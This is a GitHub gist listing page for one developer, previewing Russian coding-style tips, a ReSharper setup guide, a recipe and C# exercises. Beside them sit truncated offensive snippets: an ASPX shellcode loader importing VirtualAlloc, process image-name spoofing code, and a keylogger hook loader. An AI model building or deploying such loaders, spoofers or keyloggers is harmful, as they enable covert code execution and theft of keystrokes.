Skip to content

Instantly share code, notes, and snippets.

View MzHmO's full-sized avatar
🕊️
pwntesting!!!!

Michael Zhmaylo MzHmO

🕊️
pwntesting!!!!
View GitHub Profile

Правила оформления кода

Лайфхаки

  • Переименуйте всё, что называется неправильно. Это можно делать двойным нажатием комбинации клавиш Ctrl+R (работает для VS и Rider).
  • Исправьте форматирование кода. Частично с этим поможет комбинация клавиш: Ctrl+K, Ctrl+D для VS, Ctrl+Alt+L для Rider, Ctrl+Alt+Enter для Rider, использующий схему клавиш VS.
  • Повторяющиеся части кода вынесите во вспомогательные методы. Это можно сделать, выделив несколько строк кода и нажав: Ctrl+R, Ctrl+M для VS, Ctrl+Alt+M для Rider.

Общие правила

Стилизация

Следует стирать неактуальные комментарии

@MzHmO
MzHmO / gist:929c04da572a57911f43f974c7a5b8dc
Last active October 5, 2023 15:52
Установка ReSharper

Введение

Здарова, щеглы, сегодня с вами будем устаналивать ReSharper, чтобы больше не писать говнокод, а творить чудо, от которого на рефакторинге дядя Женя поставит 1000000000/50 баллов.

logo

Установка VS Studio

Ставим студию с дотнетовским пакетом. Здесь, думаю, сможете разобраться. Если не сможете, то придется переходить на комфорт прогу.

Ставим расширение

@MzHmO
MzHmO / Recipe.md
Last active October 6, 2023 05:55
The easiest, nutritious, delicious and quick dish to get you through your college years. English HomeWork

Pasta with seafood

Parameter Value
Preparation Time 10 minutes
Cooking Time less than 15 minutes
Difficulty Low
Ingredients Pasta, Salt, Seafood,Cheese
Michelin stars 10
Price per serve 77 rubles
Number of servings 3
@MzHmO
MzHmO / Tasks.md
Last active November 5, 2023 15:05

Это все содержимое файла WorldModel.cs

Первое задание

  1. Сделайте так, чтобы шар двигался с постоянной скоростью, пока не долетает до края окна. Скорость должно быть возможно задавать на старте (в коде), в том числе горизонтальную составляющую.
using System;

namespace GravityBalls;
#include <iostream>
#include <Windows.h>
#include <DbgHelp.h>
#pragma comment(lib, "Dbghelp.lib")

BOOL CALLBACK PrintStackFrame(PSYMBOL_INFO symbolInfo, ULONG symbolSize, PVOID context)
{
    std::cout << symbolInfo->Address << ": " << symbolInfo->Name << std::endl;
    return TRUE;
@MzHmO
MzHmO / ex.aspx
Created November 10, 2023 14:48
aspx shellcode
```cs
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
#include <stdio.h>
#include <stdlib.h>
// Определяем структуру для узла списка
typedef struct Node {
int value;
struct Node* next;
} Node;
// Вспомогательная функция для добавления узла к списку
@MzHmO
MzHmO / code.cpp
Created January 14, 2024 14:51
image file name spoofing
#include <windows.h>
#include <stdio.h>
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#define STATUS_SUCCESS 0
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)
// https://github.com/RedTeamOperations/Advanced-Process-Injection-Workshop/blob/66a2d3ffe6540c981182a2fb38cc92b0909c4b7f/CWLProcessDoppelganging/CWLProcessDoppelganging/CWLImplant.cpp
// https://github.com/huntandhackett/concealed_code_execution/blob/e688551bac50d8525b4ca7490da3981999cbff52/Injection/SampleDlls/3.NoDependencies/dllmain.c
@MzHmO
MzHmO / info.md
Created January 25, 2024 11:44
Keylogger

EXE файл загрузчик:

#include <Windows.h>
#include <windowsx.h>
#include "Header.h"

HMODULE hHookDll = NULL;


BOOL(CALLBACK* SetKeyboardHook)();